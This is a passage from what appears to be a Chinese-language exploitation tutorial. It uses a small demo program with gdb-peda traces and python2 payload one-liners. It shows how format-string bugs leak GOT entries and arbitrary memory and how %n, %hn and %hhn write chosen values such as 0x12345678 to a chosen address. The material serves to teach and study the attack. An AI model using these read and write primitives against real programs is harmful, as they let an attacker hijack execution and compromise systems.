  36. 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  40. gdb-peda$ x/20w $esp
  41. 0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
  42. 0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
  43. 0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  44. 0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e
  45. 0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2
  46. gdb-peda$ x/s 0xffffd57a
  47. 0xffffd57a: "ABCD"
  48. gdb-peda$ c
  49. Continuing.
  50. z���.ABCD

当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system())。如下面展示的这样:

先看一下重定向表:

  1. $ readelf -r a.out
  2. Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
  3. Offset Info Type Sym.Value Sym. Name
  4. 08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
  5. Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
  6. Offset Info Type Sym.Value Sym. Name
  7. 0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
  8. 0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
  9. 0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
  10. 0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

.rel.plt 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 printf__libc_start_mainputchar__isoc99_scanf

  1. $ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
  2. .0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
  3. $ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
  4. .0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
  5. $ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
  6. .0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
  7. $ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
  8. ▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

细心一点你就会发现第一个(printf)的结果有问题。我们输入了 \x0c\xa0\x04\x080x0804a00c),可是 13 号位置输出的结果却是 0x2e0804a0,那么,\x0c 哪去了,查了一下 ASCII 表:

  1. Oct Dec Hex Char
  2. ──────────────────────────────────────
  3. 014 12 0C FF '\f' (form feed)

于是就被省略了,同样会被省略的还有很多,如 \x07(’\a’)、\x08(’\b’)、\x20(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(__isoc99_scanf)。

  1. $ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
  2. $ gdb -q a.out
  3. Reading symbols from a.out...(no debugging symbols found)...done.
  4. gdb-peda$ b printf
  5. Breakpoint 1 at 0x8048350
  6. gdb-peda$ r < text
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
  9. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  10. ECX: 0x1
  11. EDX: 0xf7f9883c --> 0x0
  12. ESI: 0xf7f96e68 --> 0x1bad90
  13. EDI: 0x0
  14. EBP: 0xffffd618 --> 0x0
  15. ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
  16. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  17. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0xf7e27c1b <fprintf+27>: ret
  20. 0xf7e27c1c: xchg ax,ax
  21. 0xf7e27c1e: xchg ax,ax
  22. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  23. 0xf7e27c25 <printf+5>: add eax,0x16f243
  24. 0xf7e27c2a <printf+10>: sub esp,0xc
  25. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  26. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  27. No argument
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
  30. 0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
  31. 0008| 0xffffd554 --> 0x1
  32. 0012| 0xffffd558 --> 0x88888888
  33. 0016| 0xffffd55c --> 0xffffffff
  34. 0020| 0xffffd560 --> 0xffffd57a ("ABCD")
  35. 0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
  36. 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  40. gdb-peda$ x/20w $esp
  41. 0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
  42. 0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
  43. 0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  44. 0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125
  45. 0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 0x000000c2
  46. gdb-peda$ x/w 0x804a018
  47. 0x804a018: 0xf7e3a790
  48. gdb-peda$ c
  49. Continuing.
  50. ▒����

虽然我们可以通过 x/w 指令得到 __isoc99_scanf 函数的虚拟地址 0xf7e3a790。但是由于 0x804a018 处的内容是仍然一个指针,使用 %13$s 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。

当然并非总能通过使用 4 字节的跳转(如 AAAA)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。

覆盖栈内容

现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。%n 转换指示符将 %n 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

  1. #include<stdio.h>
  2. void main() {
  3. int i;
  4. char str[] = "hello";
  5. printf("%s %n\n", str, &i);
  6. printf("%d\n", i);
  7. }
  1. $ ./a.out
  2. hello
  3. 6

i 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(hello 加上一个空格)。在没有长度修饰符时,默认写入一个 int 类型的值。

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0 补齐时在宽度前加点.0)。如:

  1. #include<stdio.h>
  2. void main() {
  3. int i;
  4. printf("%10u%n\n", 1, &i);
  5. printf("%d\n", i);
  6. printf("%.50u%n\n", 1, &i);
  7. printf("%d\n", i);
  8. printf("%0100u%n\n", 1, &i);
  9. printf("%d\n", i);
  10. }
  1. $ ./a.out
  2. 1
  3. 10
  4. 00000000000000000000000000000000000000000000000001
  5. 50
  6. 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
  7. 100

就是这样,下面我们把地址 0x8048000 写入内存:

  1. printf("%0134512640d%n\n", 1, &i);
  1. $ ./a.out
  2. ...
  3. 0x8048000

还是我们一开始的程序,我们尝试将 arg2 的值更改为任意值(比如 0x00000020,十进制 32),在 gdb 中可以看到得到 arg2 的地址 0xffffd538,那么我们构造格式字符串 \x38\xd5\xff\xff%08x%08x%012d%13$n,其中 \x38\xd5\xff\xff 表示 arg2 的地址,占 4 字节,%08x%08x 表示两个 8 字符宽的十六进制数,占 16 字节,%012d 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2 赋值为 0x00000020。格式字符串最后一部分 %13$n 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffd538 的地方(0xffffd564),printf() 就是通过这个地址找到被覆盖的内容的:

  1. $ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
  2. $ gdb -q a.out
  3. Reading symbols from a.out...(no debugging symbols found)...done.
  4. gdb-peda$ b printf
  5. Breakpoint 1 at 0x8048350
  6. gdb-peda$ r < text
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
  9. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  10. ECX: 0x1
  11. EDX: 0xf7f9883c --> 0x0
  12. ESI: 0xf7f96e68 --> 0x1bad90
  13. EDI: 0x0
  14. EBP: 0xffffd5f8 --> 0x0
  15. ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  16. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  17. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0xf7e27c1b <fprintf+27>: ret
  20. 0xf7e27c1c: xchg ax,ax
  21. 0xf7e27c1e: xchg ax,ax
  22. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  23. 0xf7e27c25 <printf+5>: add eax,0x16f243
  24. 0xf7e27c2a <printf+10>: sub esp,0xc
  25. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  26. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  27. No argument
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  30. 0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
  31. 0008| 0xffffd534 --> 0x1
  32. 0012| 0xffffd538 --> 0x88888888
  33. 0016| 0xffffd53c --> 0xffffffff
  34. 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
  35. 0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
  36. 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  40. gdb-peda$ x/20x $esp
  41. 0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
  42. 0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
  43. 0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  44. 0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025
  45. 0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24
  46. gdb-peda$ finish
  47. Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  48. [----------------------------------registers-----------------------------------]
  49. EAX: 0x20 (' ')
  50. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  51. ECX: 0x0
  52. EDX: 0xf7f98830 --> 0x0
  53. ESI: 0xf7f96e68 --> 0x1bad90
  54. EDI: 0x0
  55. EBP: 0xffffd5f8 --> 0x0
  56. ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
  57. EIP: 0x8048520 (<main+138>: add esp,0x20)
  58. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  59. [-------------------------------------code-------------------------------------]
  60. 0x8048514 <main+126>: lea eax,[ebp-0x94]
  61. 0x804851a <main+132>: push eax
  62. 0x804851b <main+133>: call 0x8048350 <printf@plt>
  63. => 0x8048520 <main+138>: add esp,0x20
  64. 0x8048523 <main+141>: sub esp,0xc
  65. 0x8048526 <main+144>: push 0xa
  66. 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
  67. 0x804852d <main+151>: add esp,0x10
  68. [------------------------------------stack-------------------------------------]
  69. 0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
  70. 0004| 0xffffd534 --> 0x1
  71. 0008| 0xffffd538 --> 0x20 (' ')
  72. 0012| 0xffffd53c --> 0xffffffff
  73. 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
  74. 0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
  75. 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  76. 0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
  77. [------------------------------------------------------------------------------]
  78. Legend: code, data, rodata, value
  79. 0x08048520 in main ()
  80. gdb-peda$ x/20x $esp
  81. 0xffffd530: 0xffffd564 0x00000001 0x00000020 0xffffffff
  82. 0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
  83. 0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
  84. 0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025
  85. 0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240

对比 printf() 函数执行前后的输出,printf 首先解析 %13$n 找到获得地址 0xffffd564 的值 0xffffd538,然后跳转到地址 0xffffd538,将它的值 0x88888888 覆盖为 0x00000020,就得到 arg2=0x00000020

覆盖任意地址内存

也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 "AA%15$nA"+"\x38\xd5\xff\xff",开头的 AA 占两个字节,即将地址赋值为 2,中间是 %15$n 占 5 个字节,这里不是 %13$n,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x38\xd5\xff\xff,详细输出如下:

  1. $ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
  2. $ gdb -q a.out
  3. Reading symbols from a.out...(no debugging symbols found)...done.
  4. gdb-peda$ b printf
  5. Breakpoint 1 at 0x8048350
  6. gdb-peda$ r < text
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
  9. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  10. ECX: 0x1
  11. EDX: 0xf7f9883c --> 0x0
  12. ESI: 0xf7f96e68 --> 0x1bad90
  13. EDI: 0x0
  14. EBP: 0xffffd5f8 --> 0x0
  15. ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  16. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  17. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0xf7e27c1b <fprintf+27>: ret
  20. 0xf7e27c1c: xchg ax,ax
  21. 0xf7e27c1e: xchg ax,ax
  22. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  23. 0xf7e27c25 <printf+5>: add eax,0x16f243
  24. 0xf7e27c2a <printf+10>: sub esp,0xc
  25. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  26. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  27. No argument
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  30. 0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
  31. 0008| 0xffffd534 --> 0x1
  32. 0012| 0xffffd538 --> 0x88888888
  33. 0016| 0xffffd53c --> 0xffffffff
  34. 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
  35. 0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
  36. 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  40. gdb-peda$ x/20x $esp
  41. 0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
  42. 0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
  43. 0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  44. 0xffffd55c: 0x00004443 0x00000000 0x31254141 0x416e2435
  45. 0xffffd56c: 0xffffd538 0xffffd500 0x00000001 0x000000c2
  46. gdb-peda$ finish
  47. Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  48. [----------------------------------registers-----------------------------------]
  49. EAX: 0x7
  50. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  51. ECX: 0x0
  52. EDX: 0xf7f98830 --> 0x0
  53. ESI: 0xf7f96e68 --> 0x1bad90
  54. EDI: 0x0
  55. EBP: 0xffffd5f8 --> 0x0
  56. ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
  57. EIP: 0x8048520 (<main+138>: add esp,0x20)
  58. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  59. [-------------------------------------code-------------------------------------]
  60. 0x8048514 <main+126>: lea eax,[ebp-0x94]
  61. 0x804851a <main+132>: push eax
  62. 0x804851b <main+133>: call 0x8048350 <printf@plt>
  63. => 0x8048520 <main+138>: add esp,0x20
  64. 0x8048523 <main+141>: sub esp,0xc
  65. 0x8048526 <main+144>: push 0xa
  66. 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
  67. 0x804852d <main+151>: add esp,0x10
  68. [------------------------------------stack-------------------------------------]
  69. 0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
  70. 0004| 0xffffd534 --> 0x1
  71. 0008| 0xffffd538 --> 0x2
  72. 0012| 0xffffd53c --> 0xffffffff
  73. 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
  74. 0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
  75. 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  76. 0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
  77. [------------------------------------------------------------------------------]
  78. Legend: code, data, rodata, value
  79. 0x08048520 in main ()
  80. gdb-peda$ x/20x $esp
  81. 0xffffd530: 0xffffd564 0x00000001 0x00000002 0xffffffff
  82. 0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
  83. 0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
  84. 0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538
  85. 0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240

对比 printf() 函数执行前后的输出,可以看到我们成功地给 arg2 赋值了 0x00000002

说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:

  1. char c;
  2. short s;
  3. int i;
  4. long l;
  5. long long ll;
  6. printf("%s %hhn\n", str, &c); // 写入单字节
  7. printf("%s %hn\n", str, &s); // 写入双字节
  8. printf("%s %n\n", str, &i); // 写入4字节
  9. printf("%s %ln\n", str, &l); // 写入8字节
  10. printf("%s %lln\n", str, &ll); // 写入16字节

试一下:

  1. $ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
  2. 0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff
  3. $ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
  4. 0xffffd530: 0xffffd564 0x00000001 0x88880001 0xffffffff
  5. $ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
  6. 0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff

于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 0x12345678 到地址 0xffffd538,首先使用 AAAABBBBCCCCDDDD 作为输入:

  1. gdb-peda$ r
  2. AAAABBBBCCCCDDDD
  3. [----------------------------------registers-----------------------------------]
  4. EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
  5. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  6. ECX: 0x1
  7. EDX: 0xf7f9883c --> 0x0
  8. ESI: 0xf7f96e68 --> 0x1bad90
  9. EDI: 0x0
  10. EBP: 0xffffd5f8 --> 0x0
  11. ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  12. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  13. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  14. [-------------------------------------code-------------------------------------]
  15. 0xf7e27c1b <fprintf+27>: ret
  16. 0xf7e27c1c: xchg ax,ax
  17. 0xf7e27c1e: xchg ax,ax
  18. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  19. 0xf7e27c25 <printf+5>: add eax,0x16f243
  20. 0xf7e27c2a <printf+10>: sub esp,0xc
  21. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  22. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  23. No argument
  24. [------------------------------------stack-------------------------------------]
  25. 0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  26. 0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
  27. 0008| 0xffffd534 --> 0x1
  28. 0012| 0xffffd538 --> 0x88888888
  29. 0016| 0xffffd53c --> 0xffffffff
  30. 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
  31. 0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
  32. 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  33. [------------------------------------------------------------------------------]
  34. Legend: code, data, rodata, value
  35. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  36. gdb-peda$ x/20x $esp
  37. 0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
  38. 0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
  39. 0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  40. 0xffffd55c: 0x00004443 0x00000000 0x41414141 0x42424242
  41. 0xffffd56c: 0x43434343 0x44444444 0x00000000 0x000000c2
  42. gdb-peda$ x/4wb 0xffffd538
  43. 0xffffd538: 0x88 0x88 0x88 0x88

由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):

  1. 0xffffd564 -> 0x41414141 (0xffffd538) -> \x78
  2. 0xffffd568 -> 0x42424242 (0xffffd539) -> \x56
  3. 0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34
  4. 0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12

AAAABBBBCCCCDDDD 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下:

  1. $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text

其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh,所以只会保留一个字节 0x78(16+104=120 -> 0x56)、0x56(120+222=342 -> 0x0156 -> 56)、0x34(342+222=564 -> 0x0234 -> 0x34)、0x12(564+222=786 -> 0x312 -> 0x12)。执行结果如下:

  1. $ gdb -q a.out
  2. Reading symbols from a.out...(no debugging symbols found)...done.
  3. gdb-peda$ b printf
  4. Breakpoint 1 at 0x8048350
  5. gdb-peda$ r < text
  6. Starting program: /home/firmy/Desktop/RE4B/a.out < text
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
  9. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  10. ECX: 0x1
  11. EDX: 0xf7f9883c --> 0x0
  12. ESI: 0xf7f96e68 --> 0x1bad90
  13. EDI: 0x0
  14. EBP: 0xffffd5f8 --> 0x0
  15. ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  16. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  17. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0xf7e27c1b <fprintf+27>: ret
  20. 0xf7e27c1c: xchg ax,ax
  21. 0xf7e27c1e: xchg ax,ax
  22. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  23. 0xf7e27c25 <printf+5>: add eax,0x16f243
  24. 0xf7e27c2a <printf+10>: sub esp,0xc
  25. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  26. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  27. No argument
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
  30. 0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
  31. 0008| 0xffffd534 --> 0x1
  32. 0012| 0xffffd538 --> 0x88888888
  33. 0016| 0xffffd53c --> 0xffffffff
  34. 0020| 0xffffd540 --> 0xffffd55a ("ABCD")
  35. 0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
  36. 0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  40. gdb-peda$ x/20x $esp
  41. 0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
  42. 0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
  43. 0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
  44. 0xffffd55c: 0x00004443 0x00000000 0xffffd538 0xffffd539
  45. 0xffffd56c: 0xffffd53a 0xffffd53b 0x34303125 0x33312563
  46. gdb-peda$ finish
  47. Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
  48. [----------------------------------registers-----------------------------------]
  49. EAX: 0x312
  50. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  51. ECX: 0x0
  52. EDX: 0xf7f98830 --> 0x0
  53. ESI: 0xf7f96e68 --> 0x1bad90
  54. EDI: 0x0
  55. EBP: 0xffffd5f8 --> 0x0
  56. ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
  57. EIP: 0x8048520 (<main+138>: add esp,0x20)
  58. EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  59. [-------------------------------------code-------------------------------------]
  60. 0x8048514 <main+126>: lea eax,[ebp-0x94]
  61. 0x804851a <main+132>: push eax
  62. 0x804851b <main+133>: call 0x8048350 <printf@plt>
  63. => 0x8048520 <main+138>: add esp,0x20
  64. 0x8048523 <main+141>: sub esp,0xc
  65. 0x8048526 <main+144>: push 0xa
  66. 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
  67. 0x804852d <main+151>: add esp,0x10
  68. [------------------------------------stack-------------------------------------]
  69. 0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
  70. 0004| 0xffffd534 --> 0x1
  71. 0008| 0xffffd538 --> 0x12345678
  72. 0012| 0xffffd53c --> 0xffffffff
  73. 0016| 0xffffd540 --> 0xffffd55a ("ABCD")
  74. 0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
  75. 0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
  76. 0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
  77. [------------------------------------------------------------------------------]
  78. Legend: code, data, rodata, value
  79. 0x08048520 in main ()
  80. gdb-peda$ x/20x $esp
  81. 0xffffd530: 0xffffd564 0x00000001 0x12345678 0xffffffff
  82. 0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
